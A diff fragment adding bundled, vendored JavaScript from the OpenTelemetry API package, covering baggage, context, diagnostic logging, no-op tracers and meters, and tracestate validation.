node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/baggage/internal/baggage-impl.js +var BaggageImpl; +var init_baggage_impl = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/baggage/internal/baggage-impl.js"() { + BaggageImpl = class _BaggageImpl { + constructor(entries) { + this._entries = entries ? new Map(entries) : /* @__PURE__ */ new Map(); + } + getEntry(key) { + const entry = this._entries.get(key); + if (!entry) { + return void 0; + } + return Object.assign({}, entry); + } + getAllEntries() { + return Array.from(this._entries.entries()); + } + setEntry(key, entry) { + const newBaggage = new _BaggageImpl(this._entries); + newBaggage._entries.set(key, entry); + return newBaggage; + } + removeEntry(key) { + const newBaggage = new _BaggageImpl(this._entries); + newBaggage._entries.delete(key); + return newBaggage; + } + removeEntries(...keys) { + const newBaggage = new _BaggageImpl(this._entries); + for (const key of keys) { + newBaggage._entries.delete(key); + } + return newBaggage; + } + clear() { + return new _BaggageImpl(); + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/baggage/internal/symbol.js +var baggageEntryMetadataSymbol; +var init_symbol = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/baggage/internal/symbol.js"() { + baggageEntryMetadataSymbol = Symbol("BaggageEntryMetadata"); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/baggage/utils.js +function createBaggage(entries = {}) { + return new BaggageImpl(new Map(Object.entries(entries))); +} +function baggageEntryMetadataFromString(str) { + if (typeof str !== "string") { + diag.error(`Cannot create baggage metadata from unknown type: ${typeof str}`); + str = ""; + } + return { + __TYPE__: baggageEntryMetadataSymbol, + toString() { + return str; + } + }; +} +var diag; +var init_utils = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/baggage/utils.js"() { + init_diag(); + init_baggage_impl(); + init_symbol(); + diag = DiagAPI.instance(); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/context/context.js +function createContextKey(description) { + return Symbol.for(description); +} +var BaseContext, ROOT_CONTEXT; +var init_context = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/context/context.js"() { + BaseContext = class _BaseContext { + /** + * Construct a new context which inherits values from an optional parent context. + * + * @param parentContext a context from which to inherit values + */ + constructor(parentContext) { + const self2 = this; + self2._currentContext = parentContext ? new Map(parentContext) : /* @__PURE__ */ new Map(); + self2.getValue = (key) => self2._currentContext.get(key); + self2.setValue = (key, value) => { + const context2 = new _BaseContext(self2._currentContext); + context2._currentContext.set(key, value); + return context2; + }; + self2.deleteValue = (key) => { + const context2 = new _BaseContext(self2._currentContext); + context2._currentContext.delete(key); + return context2; + }; + } + }; + ROOT_CONTEXT = new BaseContext(); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/consoleLogger.js +var consoleMap, _originalConsoleMethods, DiagConsoleLogger; +var init_consoleLogger = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/consoleLogger.js"() { + consoleMap = [ + { n: "error", c: "error" }, + { n: "warn", c: "warn" }, + { n: "info", c: "info" }, + { n: "debug", c: "debug" }, + { n: "verbose", c: "trace" } + ]; + _originalConsoleMethods = {}; + if (typeof console !== "undefined") { + const keys = [ + "error", + "warn", + "info", + "debug", + "trace", + "log" + ]; + for (const key of keys) { + if (typeof console[key] === "function") { + _originalConsoleMethods[key] = console[key]; + } + } + } + DiagConsoleLogger = class { + constructor() { + function _consoleFunc(funcName) { + return function(...args) { + let theFunc = _originalConsoleMethods[funcName]; + if (typeof theFunc !== "function") { + theFunc = _originalConsoleMethods["log"]; + } + if (typeof theFunc !== "function" && console) { + theFunc = console[funcName]; + if (typeof theFunc !== "function") { + theFunc = console.log; + } + } + if (typeof theFunc === "function") { + return theFunc.apply(console, args); + } + }; + } + for (let i = 0; i < consoleMap.length; i++) { + this[consoleMap[i].n] = _consoleFunc(consoleMap[i].c); + } + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/metrics/NoopMeter.js +function createNoopMeter() { + return NOOP_METER; +} +var NoopMeter, NoopMetric, NoopCounterMetric, NoopUpDownCounterMetric, NoopGaugeMetric, NoopHistogramMetric, NoopObservableMetric, NoopObservableCounterMetric, NoopObservableGaugeMetric, NoopObservableUpDownCounterMetric, NOOP_METER, NOOP_COUNTER_METRIC, NOOP_GAUGE_METRIC, NOOP_HISTOGRAM_METRIC, NOOP_UP_DOWN_COUNTER_METRIC, NOOP_OBSERVABLE_COUNTER_METRIC, NOOP_OBSERVABLE_GAUGE_METRIC, NOOP_OBSERVABLE_UP_DOWN_COUNTER_METRIC; +var init_NoopMeter = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/metrics/NoopMeter.js"() { + NoopMeter = class { + constructor() { + } + /** + * @see {@link Meter.createGauge} + */ + createGauge(_name, _options) { + return NOOP_GAUGE_METRIC; + } + /** + * @see {@link Meter.createHistogram} + */ + createHistogram(_name, _options) { + return NOOP_HISTOGRAM_METRIC; + } + /** + * @see {@link Meter.createCounter} + */ + createCounter(_name, _options) { + return NOOP_COUNTER_METRIC; + } + /** + * @see {@link Meter.createUpDownCounter} + */ + createUpDownCounter(_name, _options) { + return NOOP_UP_DOWN_COUNTER_METRIC; + } + /** + * @see {@link Meter.createObservableGauge} + */ + createObservableGauge(_name, _options) { + return NOOP_OBSERVABLE_GAUGE_METRIC; + } + /** + * @see {@link Meter.createObservableCounter} + */ + createObservableCounter(_name, _options) { + return NOOP_OBSERVABLE_COUNTER_METRIC; + } + /** + * @see {@link Meter.createObservableUpDownCounter} + */ + createObservableUpDownCounter(_name, _options) { + return NOOP_OBSERVABLE_UP_DOWN_COUNTER_METRIC; + } + /** + * @see {@link Meter.addBatchObservableCallback} + */ + addBatchObservableCallback(_callback, _observables) { + } + /** + * @see {@link Meter.removeBatchObservableCallback} + */ + removeBatchObservableCallback(_callback) { + } + }; + NoopMetric = class { + }; + NoopCounterMetric = class extends NoopMetric { + add(_value, _attributes) { + } + }; + NoopUpDownCounterMetric = class extends NoopMetric { + add(_value, _attributes) { + } + }; + NoopGaugeMetric = class extends NoopMetric { + record(_value, _attributes) { + } + }; + NoopHistogramMetric = class extends NoopMetric { + record(_value, _attributes) { + } + }; + NoopObservableMetric = class { + addCallback(_callback) { + } + removeCallback(_callback) { + } + }; + NoopObservableCounterMetric = class extends NoopObservableMetric { + }; + NoopObservableGaugeMetric = class extends NoopObservableMetric { + }; + NoopObservableUpDownCounterMetric = class extends NoopObservableMetric { + }; + NOOP_METER = new NoopMeter(); + NOOP_COUNTER_METRIC = new NoopCounterMetric(); + NOOP_GAUGE_METRIC = new NoopGaugeMetric(); + NOOP_HISTOGRAM_METRIC = new NoopHistogramMetric(); + NOOP_UP_DOWN_COUNTER_METRIC = new NoopUpDownCounterMetric(); + NOOP_OBSERVABLE_COUNTER_METRIC = new NoopObservableCounterMetric(); + NOOP_OBSERVABLE_GAUGE_METRIC = new NoopObservableGaugeMetric(); + NOOP_OBSERVABLE_UP_DOWN_COUNTER_METRIC = new NoopObservableUpDownCounterMetric(); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/metrics/Metric.js +var ValueType; +var init_Metric = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/metrics/Metric.js"() { + (function(ValueType2) { + ValueType2[ValueType2["INT"] = 0] = "INT"; + ValueType2[ValueType2["DOUBLE"] = 1] = "DOUBLE"; + })(ValueType || (ValueType = {})); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/propagation/TextMapPropagator.js +var defaultTextMapGetter, defaultTextMapSetter; +var init_TextMapPropagator = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/propagation/TextMapPropagator.js"() { + defaultTextMapGetter = { + get(carrier, key) { + if (carrier == null) { + return void 0; + } + return carrier[key]; + }, + keys(carrier) { + if (carrier == null) { + return []; + } + return Object.keys(carrier); + } + }; + defaultTextMapSetter = { + set(carrier, key, value) { + if (carrier == null) { + return; + } + carrier[key] = value; + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/context/NoopContextManager.js +var NoopContextManager; +var init_NoopContextManager = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/context/NoopContextManager.js"() { + init_context(); + NoopContextManager = class { + active() { + return ROOT_CONTEXT; + } + with(_context, fn, thisArg, ...args) { + return fn.call(thisArg, ...args); + } + bind(_context, target) { + return target; + } + enable() { + return this; + } + disable() { + return this; + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/api/context.js +var API_NAME2, NOOP_CONTEXT_MANAGER, ContextAPI; +var init_context2 = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/api/context.js"() { + init_NoopContextManager(); + init_global_utils(); + init_diag(); + API_NAME2 = "context"; + NOOP_CONTEXT_MANAGER = new NoopContextManager(); + ContextAPI = class _ContextAPI { + /** Empty private constructor prevents end users from constructing a new instance of the API */ + constructor() { + } + /** Get the singleton instance of the Context API */ + static getInstance() { + if (!this._instance) { + this._instance = new _ContextAPI(); + } + return this._instance; + } + /** + * Set the current context manager. + * + * @returns true if the context manager was successfully registered, else false + */ + setGlobalContextManager(contextManager) { + return registerGlobal(API_NAME2, contextManager, DiagAPI.instance()); + } + /** + * Get the currently active context + */ + active() { + return this._getContextManager().active(); + } + /** + * Execute a function with an active context + * + * @param context context to be active during function execution + * @param fn function to execute in a context + * @param thisArg optional receiver to be used for calling fn + * @param args optional arguments forwarded to fn + */ + with(context2, fn, thisArg, ...args) { + return this._getContextManager().with(context2, fn, thisArg, ...args); + } + /** + * Bind a context to a target function or event emitter + * + * @param context context to bind to the event emitter or function. Defaults to the currently active context + * @param target function or event emitter to bind + */ + bind(context2, target) { + return this._getContextManager().bind(context2, target); + } + _getContextManager() { + return getGlobal(API_NAME2) || NOOP_CONTEXT_MANAGER; + } + /** Disable and remove the global context manager */ + disable() { + this._getContextManager().disable(); + unregisterGlobal(API_NAME2, DiagAPI.instance()); + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/trace_flags.js +var TraceFlags; +var init_trace_flags = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/trace_flags.js"() { + (function(TraceFlags2) { + TraceFlags2[TraceFlags2["NONE"] = 0] = "NONE"; + TraceFlags2[TraceFlags2["SAMPLED"] = 1] = "SAMPLED"; + })(TraceFlags || (TraceFlags = {})); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/invalid-span-constants.js +var INVALID_SPANID, INVALID_TRACEID, INVALID_SPAN_CONTEXT; +var init_invalid_span_constants = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/invalid-span-constants.js"() { + init_trace_flags(); + INVALID_SPANID = "0000000000000000"; + INVALID_TRACEID = "00000000000000000000000000000000"; + INVALID_SPAN_CONTEXT = { + traceId: INVALID_TRACEID, + spanId: INVALID_SPANID, + traceFlags: TraceFlags.NONE + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/NonRecordingSpan.js +var NonRecordingSpan; +var init_NonRecordingSpan = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/NonRecordingSpan.js"() { + init_invalid_span_constants(); + NonRecordingSpan = class { + constructor(spanContext = INVALID_SPAN_CONTEXT) { + this._spanContext = spanContext; + } + // Returns a SpanContext. + spanContext() { + return this._spanContext; + } + // By default does nothing + setAttribute(_key, _value) { + return this; + } + // By default does nothing + setAttributes(_attributes) { + return this; + } + // By default does nothing + addEvent(_name, _attributes) { + return this; + } + addLink(_link) { + return this; + } + addLinks(_links) { + return this; + } + // By default does nothing + setStatus(_status) { + return this; + } + // By default does nothing + updateName(_name) { + return this; + } + // By default does nothing + end(_endTime) { + } + // isRecording always returns false for NonRecordingSpan. + isRecording() { + return false; + } + // By default does nothing + recordException(_exception, _time) { + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/context-utils.js +function getSpan(context2) { + return context2.getValue(SPAN_KEY) || void 0; +} +function getActiveSpan() { + return getSpan(ContextAPI.getInstance().active()); +} +function setSpan(context2, span) { + return context2.setValue(SPAN_KEY, span); +} +function deleteSpan(context2) { + return context2.deleteValue(SPAN_KEY); +} +function setSpanContext(context2, spanContext) { + return setSpan(context2, new NonRecordingSpan(spanContext)); +} +function getSpanContext(context2) { + var _a3; + return (_a3 = getSpan(context2)) === null || _a3 === void 0 ? void 0 : _a3.spanContext(); +} +var SPAN_KEY; +var init_context_utils = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/context-utils.js"() { + init_context(); + init_NonRecordingSpan(); + init_context2(); + SPAN_KEY = createContextKey("OpenTelemetry Context Key SPAN"); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/spancontext-utils.js +function isValidHex(id, length) { + if (typeof id !== "string" || id.length !== length) + return false; + let r = 0; + for (let i = 0; i < id.length; i += 4) { + r += (isHex[id.charCodeAt(i)] | 0) + (isHex[id.charCodeAt(i + 1)] | 0) + (isHex[id.charCodeAt(i + 2)] | 0) + (isHex[id.charCodeAt(i + 3)] | 0); + } + return r === length; +} +function isValidTraceId(traceId) { + return isValidHex(traceId, 32) && traceId !== INVALID_TRACEID; +} +function isValidSpanId(spanId) { + return isValidHex(spanId, 16) && spanId !== INVALID_SPANID; +} +function isSpanContextValid(spanContext) { + return isValidTraceId(spanContext.traceId) && isValidSpanId(spanContext.spanId); +} +function wrapSpanContext(spanContext) { + return new NonRecordingSpan(spanContext); +} +var isHex; +var init_spancontext_utils = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/spancontext-utils.js"() { + init_invalid_span_constants(); + init_NonRecordingSpan(); + isHex = new Uint8Array([ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 1, + 1 + ]); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/NoopTracer.js +function isSpanContext(spanContext) { + return spanContext !== null && typeof spanContext === "object" && "spanId" in spanContext && typeof spanContext["spanId"] === "string" && "traceId" in spanContext && typeof spanContext["traceId"] === "string" && "traceFlags" in spanContext && typeof spanContext["traceFlags"] === "number"; +} +var contextApi, NoopTracer; +var init_NoopTracer = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/NoopTracer.js"() { + init_context2(); + init_context_utils(); + init_NonRecordingSpan(); + init_spancontext_utils(); + contextApi = ContextAPI.getInstance(); + NoopTracer = class { + // startSpan starts a noop span. + startSpan(name, options, context2 = contextApi.active()) { + const root = Boolean(options === null || options === void 0 ? void 0 : options.root); + if (root) { + return new NonRecordingSpan(); + } + const parentFromContext = context2 && getSpanContext(context2); + if (isSpanContext(parentFromContext) && isSpanContextValid(parentFromContext)) { + return new NonRecordingSpan(parentFromContext); + } else { + return new NonRecordingSpan(); + } + } + startActiveSpan(name, arg2, arg3, arg4) { + let opts; + let ctx; + let fn; + if (arguments.length < 2) { + return; + } else if (arguments.length === 2) { + fn = arg2; + } else if (arguments.length === 3) { + opts = arg2; + fn = arg3; + } else { + opts = arg2; + ctx = arg3; + fn = arg4; + } + const parentContext = ctx !== null && ctx !== void 0 ? ctx : contextApi.active(); + const span = this.startSpan(name, opts, parentContext); + const contextWithSpanSet = setSpan(parentContext, span); + return contextApi.with(contextWithSpanSet, fn, void 0, span); + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/ProxyTracer.js +var NOOP_TRACER, ProxyTracer; +var init_ProxyTracer = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/ProxyTracer.js"() { + init_NoopTracer(); + NOOP_TRACER = new NoopTracer(); + ProxyTracer = class { + constructor(provider, name, version3, options) { + this._provider = provider; + this.name = name; + this.version = version3; + this.options = options; + } + startSpan(name, options, context2) { + return this._getTracer().startSpan(name, options, context2); + } + startActiveSpan(_name, _options, _context, _fn) { + const tracer2 = this._getTracer(); + return Reflect.apply(tracer2.startActiveSpan, tracer2, arguments); + } + /** + * Try to get a tracer from the proxy tracer provider. + * If the proxy tracer provider has no delegate, return a noop tracer. + */ + _getTracer() { + if (this._delegate) { + return this._delegate; + } + const tracer2 = this._provider.getDelegateTracer(this.name, this.version, this.options); + if (!tracer2) { + return NOOP_TRACER; + } + this._delegate = tracer2; + return this._delegate; + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/NoopTracerProvider.js +var NoopTracerProvider; +var init_NoopTracerProvider = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/NoopTracerProvider.js"() { + init_NoopTracer(); + NoopTracerProvider = class { + getTracer(_name, _version, _options) { + return new NoopTracer(); + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/ProxyTracerProvider.js +var NOOP_TRACER_PROVIDER, ProxyTracerProvider; +var init_ProxyTracerProvider = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/ProxyTracerProvider.js"() { + init_ProxyTracer(); + init_NoopTracerProvider(); + NOOP_TRACER_PROVIDER = new NoopTracerProvider(); + ProxyTracerProvider = class { + /** + * Get a {@link ProxyTracer} + */ + getTracer(name, version3, options) { + var _a3; + return (_a3 = this.getDelegateTracer(name, version3, options)) !== null && _a3 !== void 0 ? _a3 : new ProxyTracer(this, name, version3, options); + } + getDelegate() { + var _a3; + return (_a3 = this._delegate) !== null && _a3 !== void 0 ? _a3 : NOOP_TRACER_PROVIDER; + } + /** + * Set the delegate tracer provider + */ + setDelegate(delegate) { + this._delegate = delegate; + } + getDelegateTracer(name, version3, options) { + var _a3; + return (_a3 = this._delegate) === null || _a3 === void 0 ? void 0 : _a3.getTracer(name, version3, options); + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/SamplingResult.js +var SamplingDecision; +var init_SamplingResult = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/SamplingResult.js"() { + (function(SamplingDecision2) { + SamplingDecision2[SamplingDecision2["NOT_RECORD"] = 0] = "NOT_RECORD"; + SamplingDecision2[SamplingDecision2["RECORD"] = 1] = "RECORD"; + SamplingDecision2[SamplingDecision2["RECORD_AND_SAMPLED"] = 2] = "RECORD_AND_SAMPLED"; + })(SamplingDecision || (SamplingDecision = {})); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/span_kind.js +var SpanKind; +var init_span_kind = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/span_kind.js"() { + (function(SpanKind2) { + SpanKind2[SpanKind2["INTERNAL"] = 0] = "INTERNAL"; + SpanKind2[SpanKind2["SERVER"] = 1] = "SERVER"; + SpanKind2[SpanKind2["CLIENT"] = 2] = "CLIENT"; + SpanKind2[SpanKind2["PRODUCER"] = 3] = "PRODUCER"; + SpanKind2[SpanKind2["CONSUMER"] = 4] = "CONSUMER"; + })(SpanKind || (SpanKind = {})); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/status.js +var SpanStatusCode; +var init_status = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/status.js"() { + (function(SpanStatusCode2) { + SpanStatusCode2[SpanStatusCode2["UNSET"] = 0] = "UNSET"; + SpanStatusCode2[SpanStatusCode2["OK"] = 1] = "OK"; + SpanStatusCode2[SpanStatusCode2["ERROR"] = 2] = "ERROR"; + })(SpanStatusCode || (SpanStatusCode = {})); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/internal/tracestate-validators.js +function validateKey(key) { + return VALID_KEY_REGEX.test(key); +} +function validateValue(value) { + return VALID_VALUE_BASE_REGEX.test(value) && !INVALID_VALUE_COMMA_EQUAL_REGEX.test(value); +} +var VALID_KEY_CHAR_RANGE, VALID_KEY, VALID_VENDOR_KEY, VALID_KEY_REGEX, VALID_VALUE_BASE_REGEX, INVALID_VALUE_COMMA_EQUAL_REGEX; +var init_tracestate_validators = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/internal/tracestate-validators.js"() { + VALID_KEY_CHAR_RANGE = "[_0-9a-z-*/]"; + VALID_KEY = `[a-z]${VALID_KEY_CHAR_RANGE}{0,255}`; + VALID_VENDOR_KEY = `[a-z0-9]${VALID_KEY_CHAR_RANGE}{0,240}@[a-z]${VALID_KEY_CHAR_RANGE}{0,13}`; + VALID_KEY_REGEX = new RegExp(`^(?:${VALID_KEY}|${VALID_VENDOR_KEY})$`); + VALID_VALUE_BASE_REGEX = /^[ -~]{0,255}[!-~]$/; + INVALID_VALUE_COMMA_EQUAL_REGEX = /,|=/; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/internal/tracestate-impl.js +var MAX_TRACE_STATE_ITEMS, MAX_TRACE_STATE_LEN, LIST_MEMBERS_SEPARATOR, LIST_MEMBER_KEY_VALUE_SPLITTER, TraceStateImpl; +var init_tracestate_impl = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/internal/tracestate-impl.js"() { + init_tracestate_validators(); + MAX_TRACE_STATE_ITEMS = 32; + MAX_TRACE_STATE_LEN = 512; + LIST_MEMBERS_SEPARATOR = ","; + LIST_MEMBER_KEY_VALUE_SPLITTER = "="; + TraceStateImpl = class _TraceStateImpl { + constructor(rawTraceState) { + this._internalState = /* @__PURE__ */ new Map(); + if (rawTraceState) + this._parse(rawTraceState); + } + set(key, value) { + const traceState = this._clone(); + if (traceState._internalState.has(key)) { + traceState._internalState.delete(key); + } + traceState._internalState.set(key, value); + return traceState; + } + unset(key) { + const traceState = this._clone(); + traceState._internalState.delete(key); + return traceState; + } + get(key) { + return this._internalState.get(key); + } + serialize() { + return Array.from(this._internalState.keys()).reduceRight((agg, key) => { + agg.push(key + LIST_MEMBER_KEY_VALUE_SPLITTER + this.get(key)); + return agg; + }, []).join(LIST_MEMBERS_SEPARATOR); + } + _parse(rawTraceState) { + if (rawTraceState.length > MAX_TRACE_STATE_LEN) + return; + this._internalState = rawTraceState.split(LIST_MEMBERS_SEPARATOR).reduceRight((agg, part) => { + const listMember = part.trim(); + const i = listMember.indexOf(LIST_MEMBER_KEY_VALUE_SPLITTER); + if (i !== -1) { + const key = listMember.slice(0, i); + const value = listMember.slice(i + 1, part.length); + if (validateKey(key) && validateValue(value)) { + agg.set(key, value); + } else { + } + } + return agg; + }, /* @__PURE__ */ new Map()); + if (this._internalState.size > MAX_TRACE_STATE_ITEMS) { + this._internalState = new Map(Array.from(this._internalState.entries()).reverse().slice(0, MAX_TRACE_STATE_ITEMS)); + } + } + // @ts-expect-error TS6133 Accessed in tests only. + _keys() { + return Array.from(this._internalState.keys()).reverse(); + } + _clone() { + const traceState = new _TraceStateImpl(); + traceState._internalState = new Map(this._internalState); + return traceState; + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/internal/utils.js +function createTraceState(rawTraceState) { + return new TraceStateImpl(rawTraceState); +} +var init_utils2 = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/trace/internal/utils.js"() { + init_tracestate_impl(); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/context-api.js +var context; +var init_context_api = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/context-api.js"() { + init_context2(); + context = ContextAPI.getInstance(); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag-api.js +var diag2; +var init_diag_api = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag-api.js"() { + init_diag(); + diag2 = DiagAPI.instance(); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/metrics/NoopMeterProvider.js +var NoopMeterProvider, NOOP_METER_PROVIDER; +var init_NoopMeterProvider = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/metrics/NoopMeterProvider.js"() { + init_NoopMeter(); + NoopMeterProvider = class { + getMeter(_name, _version, _options) { + return NOOP_METER; + } + }; + NOOP_METER_PROVIDER = new NoopMeterProvider(); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/api/metrics.js +var API_NAME3, MetricsAPI; +var init_metrics = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/api/metrics.js"() { + init_NoopMeterProvider(); + init_global_utils(); + init_diag(); + API_NAME3 = "metrics"; + MetricsAPI = class _MetricsAPI { + /** Empty private constructor prevents end users from constructing a new instance of the API */ + constructor() { + } + /** Get the singleton instance of the Metrics API */ + static getInstance() { + if (!this._instance) { + this._instance = new _MetricsAPI(); + } + return this._instance; + } + /** + * Set the current global meter provider. + * Returns true if the meter provider was successfully registered, else false. + */ + setGlobalMeterProvider(provider) { + return registerGlobal(API_NAME3, provider, DiagAPI.instance()); + } + /** + * Returns the global meter provider. + */ + getMeterProvider() { + return getGlobal(API_NAME3) || NOOP_METER_PROVIDER; + } + /** + * Returns a meter from the global meter provider. + */ + getMeter(name, version3, options) { + return this.getMeterProvider().getMeter(name, version3, options); + } + /** Remove the global meter provider */ + disable() { + unregisterGlobal(API_NAME3, DiagAPI.instance()); + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/metrics-api.js +var metrics; +var init_metrics_api = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/metrics-api.js"() { + init_metrics(); + metrics = MetricsAPI.getInstance(); + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/propagation/NoopTextMapPropagator.js +var NoopTextMapPropagator; +var init_NoopTextMapPropagator = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/propagation/NoopTextMapPropagator.js"() { + NoopTextMapPropagator = class { + /** Noop inject function does nothing */ + inject(_context, _carrier) { + } + /** Noop extract function does nothing and returns the input context */ + extract(context2, _carrier) { + return context2; + } + fields() { + return []; + } + }; + } +}); + +// node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/baggage/context-helpers.js +function getBaggage(context2) { + return context2.getValue(BAGGAGE_KEY) || void 0; +} +function getActiveBaggage() { + return getBaggage(ContextAPI.getInstance().active()); +} +function setBaggage(context2, baggage) { + return context2.setValue(BAGGAGE_KEY, baggage); +} +function deleteBaggage(context2) { + return context2.deleteValue(BAGGAGE_KEY); +} +var BAGGAGE_KEY; +var init_context_helpers = __esm({ + "node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/baggage/context-helpers.js"() { + init_context2(); + init_context(); + BAGGAGE_KEY = createContextKey("OpenTelemetry Baggage Key"); + } +}); + +// 